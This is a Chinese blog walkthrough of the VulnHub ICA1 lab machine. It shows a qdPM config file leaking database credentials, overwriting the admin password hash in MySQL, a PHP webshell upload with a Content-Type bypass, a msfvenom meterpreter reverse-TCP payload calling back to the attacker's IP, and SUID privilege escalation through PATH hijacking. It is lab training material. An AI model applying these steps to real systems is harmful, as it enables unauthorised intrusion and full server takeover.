『vulnhub系列』ICA1
『vulnhub系列』ICA1
下载地址
1 | https://download.vulnhub.com/ica/ica1.zip |
信息搜集
如果靶机获取不了IP地址请看这里:『vulnhub系列』JANGOW | Don_Joshua’s Blog (jo4hua.github.io)
使用命令nmap 192.168.0.130 找到存活主机

开启了ssh,http,mysql服务,先访问80端口,进入如下登录界面

使用dirsearch扫描目录
1 | dirsearch -u "http://192.168.0.136/" |

发现数据库配置界面

使用searchsploit qdPM 9.2 发现如下漏洞

一个是csrf现在我们还没到那一步,第二个是密码泄露,我们使用
searchsploit -m 50176.txt 将50176移到当前目录下,使用cat 50176.txt查看

漏洞利用
发现访问http://<website>/core/config/databases.yml 网站的这个链接,即可以看到数据库的用户名和密码 ,成功(qdpmadmin:UcVQCMQk2STVeS6J)

尝试登录一下

成功,记住这个邮箱,并设置密码(admin@localhost.com:admin)

成功

回到主页面,使用刚刚的邮箱登录

发现登录失败,但是通过修改密码我们可以发现,邮箱是对的。
我们使用mysql登录,成功
1 | mysql -h 192.168.0.136 -u qdpmadmin -p |

通过上面的配置文件,我们可以知道数据库的名字是qdpm ,use qdpm ,show tables 查看这个数据库里的表,我们发现users表

show columns from users 查看字段名

果然是password,现在我们查询一下
1 | select password from users where email="admin@localhost.com" |
结果高兴的有些早了,我们发现查询数据为空…….,应该直接看有没有数据的

直接一个一个查看每一个表,最后在configuration中找到我们需要的东西

但是$P$E0dY11qb93cBPO/VuVULOQPHeuLb6m/ 是一段hash值,很像是crypt中的,但判断不出来。
在安装工具hash-identifier 之后,我们使用hash-identifier 进行判断
1 | git clone https://github.com/blackploit/hash-identifier.git |
输入对应的hash值之后,我们可以得到类型可能是md5

我们使用本机生成一个md5的hash然后覆盖掉原来的hash,这里使用python生成一个密码为admin的hash值
1 | import crypt |
修改app_administrator_password(id=2)的value,成功
1 | update configuration set value='$1$aFzipe0r$qYbks7esarcBVgfO0.oay1' where id=2; |

登录试试,成功

此时,我们添加用户

发现可以上传文件

上传看一下,报错
但是我们一开始是有一个/uploads文件夹,发现文件已经上传成功了

此时我们上传一个php一句话木马试试

发现并没有这个文件

我们用burp试试,提交的时候抓包,将Content-Type:后面的类型改为image/jpeg 顺手在文件内容前面加上GIF89A (保险)

提交,失败

我们切换到新建的用户中,发现有一个上传文件的地方

上传一个php文件试试

此时在/uploads/attachments/页面发现php文件了

之后用同样的方式,上传msf生成的php
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.130 lport=4444 -o re_shell.php |
上传之后使用msfconsole进入msf,使用相同的payload监听
1 | exploit/multi/handler |

监听,run
访问刚刚上传的webshell文件,成功

提升权限
使用命令
1 | find / -perm -u=s -type f 2>/dev/null |
查看可以具有SUID权限的文件,我们发现有一个/opt/get_access 很可疑

运行一下

使用命令strings 命令查看一下,文件中的可打印字符
1 | strings /opt/get_access |

然后我们在其中可以发现,这个程序运行的时候,可以以root权限执行cat命令,因此这里的思路是
- 将环境变量中的cat修改为我们的自己建立的
cat
这样当运行这个文件的时候,就可以运行我们的cat了
创建新的cat
1 | echo "/bin/bash" > /tmp/cat |
将/bin/bash写入/tmp/cat文件中,这样以root权限运行时,就会将root的/bin/bash反弹回来
并赋予其可执行权限
1 | chmod +x /tmp/cat |
增加环境变量
1 | export PATH=/tmp:$PATH |
可以将/tmp/cat的路径加入到PATH,从而可以在任何地方直接使用hello命令。并且对所有用户生效
运行get_access
1 | /opt/get_access |
见证奇迹的时刻,whoami

成果
/root
1 | ICA{Next_Generation_Self_Renewable_Genetics} |
/home/travis
1 | ICA{Secret_Project} |